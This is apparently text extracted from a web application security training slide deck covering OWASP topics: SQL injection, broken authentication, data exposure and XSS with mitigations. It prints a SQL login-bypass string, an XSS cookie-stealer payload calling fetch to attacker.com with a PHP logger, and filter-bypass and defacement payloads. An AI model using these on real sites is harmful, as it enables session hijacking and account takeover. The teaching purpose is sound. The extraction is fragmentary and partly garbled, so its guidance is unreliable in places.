Web Application Security Adithyan AK
Web Application Security Adithyan AK
Security
Encyclopaedia on Web Security Fundamentals
Agenda
• Introduction
• OWASP Top 10 Web Vulnerabilities
• Testing environment setup
• Manual Penetration Testing
• Attack vectors
• Mitigations
• Responsible disclosure programs
To Brag
● Adithyan AK - Head of OWASP Coimbatore
● 6+ Years into infosec
● Expertise in web app security, reverse engineering, exploit dev, malware
analysis
● Author of several exploits & cves
● Speaker at various conferences, workshops (IITM Research Park, Defcon
Trivandrum etc)
● Hall of fame in Microsoft, Apple, Intel, Avira, Oppo, etc
● Passion for making and breaking stuffs
Need for Security
● 4% of total web traffic is malicious
● 37k websites are hacked daily
● 125% DDOS attacks increase yearly
● Hacking is easier than securing
● 99% security is 100% vulnerable
● Security is the need of the hour
What’s OWASP
● Open Web Application Security Project
● Community for security experts around the globe
● Creating awareness in Web Application Security
● OWASP Top 10 - Most exploited vulnerabilities of the year
● OWASP Top 10 Web Vulnerabilities
● OWASP Top 10 Mobile Vulnerabilities
● OWASP Top 10 IOT Vulnerabilities
● Contribute to the community with free research articles, testing methodologies and
mitigations, documentations, tools and technologies
Terminologies
● Vulnerability - flaw occurred due to fault in the design or implementation
● CVE
● NVD
● Zero-day
● Patch Exploit Payload Vulnerability
● Malware
● Bot
● Shell
Bug vs Vulnerability
● Bug - When a system isn’t behaving in a way it’s designed to
● Vulnerability - a flaw through which attacker can abuse the system
● Bug is a defect in the product
● Vulnerability allows for the malicious use of the product
● Vulnerabilities get you reward, bugs won’t
Browser - Web Application Relationship
HTTP
User Browser
Request
HTTP Website
Response (Server)
HTTP Methods
● GET - retrieve information
● POST - send information
● OPTIONS - available communication options
● HEAD - transfers the status line
● PUT - store an entity
● DELETE - deletes the specified source
● TRACE - diagnostic purposes
● CONNECT - establishes a tunnel
GET vs POST
GET
Client Server
https://example.com/login.php?user=admin&pass=admin
POST
Client Client
https://example.com/login.php
+
user=admin&pass=admin
HTTP Response Headers
● Username : tom
● Password :' or '1'='1
SELECT * FROM users WHERE name='tom' and password='' or ‘1'='1'
Additional Defences:
• Also: Enforcing Least Privilege
Unsafe Example
+ request.getParameter("customerName");
try {
...
Prepared Statements (with Parameterized Queries)
• Parameterized query looks for a username which literally matched the entire
string tom' or ‘1’='1
Safe Example - JAVA
Safe Example - PHP
Safe Example - MySQL
2. Broken Authentication
● Attackers has 100 millions of valid username and password combinations
● Automated brute force attack tools and dictionary attack tools
● Flaws occur in
● Poor password policies
● Password change
● Forgot my password
● Remember my password
● Account update
● Insecure session tokens
Protection
● Password strength - restrict pods with minimum size and complexity for pwd
● Complexity requires use of combinations of alphabetic, numeric, and/or alphanumeric
characters
● User’s should be advised to change passwords periodically
● Users should be prevented from reusing their old passwords
● Users should be provided with multi factor authentication
● Password use - predefined number of login attempts
● Repeated failed attempts must be logged
● Number of failed attempts must be displayed to user
● Data/Time of their last successful login must be displayed
Protection
● Password change controls - users should provided both old and new passwords
● Re Authenticate logged in sessions when password is changed
● Require password before changing the email address
● Password storage - pads must be stored in hashed or encrypted form
● Passwords should never be hardcoded in any source code
● Decryption keys must be strongly protected
● Protecting credentials in transit - encrypt entire login process using SSL
● Hashing it using md5 in transition won’t work as LAN packets can be intercepted
Protection
● Session ID Protection - entire session should be protected via SSL
● Session IDs must never be included in the URL as they can be cached by the browser,
reflected in the referrer header or accidentally forwarded to a friend
● Session IDs should be long, complicated with random numbers
● Session IDs must be changed frequently to reduce the validity of sessions
● Browser caching - authentication and session data should never be sent in GET
● Authentication pages should be marked with no-cache tag
● Also with AUTOCOMPLETE=OFF flag to prevent storing of credentials in autocomplete
cache
3. Sensitive Data Exposure
Determine which data is sensitive enough to require extra protection. For example:
• Banking information: account numbers, credit card numbers.
• Health information.
• Personal information: SSN/SIN, date of birth, etc.
• User account/passwords.
Causing:
• Financial loss.
• Identity hijacking.
• Decreased brand trust.
Example #1: Credit card encryption
• Attacker then replays this cookie and hijacks the user’s session, accessing
Fix :
Example #1: The app server admin console is automatically installed and not removed
Attacker discovers the standard admin pages are on your server, logs in with default
passwords, and takes over.
Example #2: Directory listing is not disabled on your server
Example #3: App server configuration allows stack traces to be returned to users,
potentially exposing underlying flaws
• Disable debugging.
• Consider running scans and doing audits periodically to help detect future
● www.vulnerablesite.com/hello.php?user=OWASP
● <h1>Hello, OWASP!</h1>
Exploiting XSS
● www.vulnerablesite.com/hello.php?user=<script>alert(1)</scrip
t>
● Source code will become
<h1>Hello, <script>alert(1)</script>!</h1>
Stored vs Reflected
● Reflected
● www.vulnerablesite.com/hello.php?user=<script>alert(1)</script>
● Payload is delivered in the parameter by attacker
● Payload is visible to the victim
● However, it can be hided
● Stored
● Payload is embed into the source code
● Served by the server
● XSS auditor can’t block
● More dangerous
XSS Payloads
$cookies = $_GET[‘c’];
$file = fopen('log.txt', 'a');
fwrite($file, $cookies . “\n\n");
● Payload
<svg onload=fetch(‘//www.attacker.com/cookiestealer.php?c='+document.cookie)>
● Vulnerable End-point
www.vulnerable.com/profile.php?id= <svg
onload=fetch(‘//www.attacker.com/cookiestealer.php?c='+document.cookie)>
Deface and Deceive with XSS
● Manipulate the contents of website with innerHTML
<svg onload="document.body.innerHTML='<img src=//HOST/IMAGE>’">
● <scr<scriptipt>alert(document.cookie);</script>
● <img src=x onerror=alert(document.cookie)>
XSS Mitigations & Bypasses
● Base64 Encoding
● javascript:eval(atob(‘YWxlcnQoZG9jdW1lbnQuY29va2llKTs=‘));
● Javascript:alert(document.cookie);
● Avoiding quotes
● javascript:eval(String.fromCharCode(97,108,101,114,116,40,100
,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59))
XSS Prevention - Escaping
● Prevention won’t fix the vulnerability
● It just hardens the attacker to find one
● Escape user inputs
function escapeHTML(s, forAttribute) {
return s.replace(forAttribute ? /[&<>'"]/g : /[&<>]/g, function(c) {
return ESC_MAP[c];
});
● encodeURI function in JS encodes special characters excluding , / ? : @ &
=+$#
● encodeURIcomponent encodes all the special characters
● Decoded by decodeURI and decodeURIcomponent
XSS Prevention - Input Sanitisation
Directly in a script:
<script>...NEVER PUT UNTRUSTED DATA HERE...</script>
In an attribute name:
<div ...NEVER PUT UNTRUSTED DATA HERE...=test />
RULE #0 - Never Insert Untrusted Data Except in Allowed Locations
In a tag name:
<NEVER PUT UNTRUSTED DATA HERE... href="/test" />
Directly in CSS:
<style>
...NEVER PUT UNTRUSTED DATA HERE...
</style>
RULE #1 - HTML Escape Before Inserting Untrusted Data into HTML Element
● When you want to put untrusted data into HTML body somewhere,
<body>
...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...
</body>
<div>
...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...
</div>
● Escape with HTML entity encoding to prevent execution
& --> &
< --> <
> --> >
" --> "
' --> '
RULE #2 - Set Appropriate Content-Type
Bad HTTP response:
HTTP/1.1 200
Date: Wed, 06 Feb 2013 10:28:54 GMT
Server: Microsoft-IIS/7.5....
Content-Type: text/html; charset=utf-8 <-- bad
{"Message":"No HTTP resource was found that matches the request URI
'dev.net.ie/api/pay/.html?HouseNumber=9&AddressLine
=The+Gardens<script>alert(1)</script>'.","MessageDetail":"No type was found that matches
the controller named 'pay'."} <-- this script will pop!!
RULE #2 - Set Appropriate Content-Type
● Java :
Cookie cookie = getMyCookie("myCookieName");
cookie.setHttpOnly(true);
Rule #4: Implement Content Security Policy
• Browser side mechanism which allows you to create source whitelists for client
side resources of your web application
• e.g. JavaScript, CSS, images, etc. CSP via special HTTP header instructs the
browser to only execute or render resources from those sources
• For example this CSP:
Content-Security-Policy: default-src: 'self'; script-src: 'self' static.domain.tld
● Instructs the browsers to stop loading when they detect reflected xss
• unresponsive website – when the website pages respond too slowly or stop
loading at all
• SEO spam – when the website listing in search engines shows unrelated
spam keywords
• a website blacklist warning – when a red warning page shows all your visitors
little changes?
CCcleaner Hack
Web Application Firewall
● Monitors, filters or blocks the data packet as they travel to or from the web
app
● WAF can detect and immediately avert attacks like XSS, SQLi etc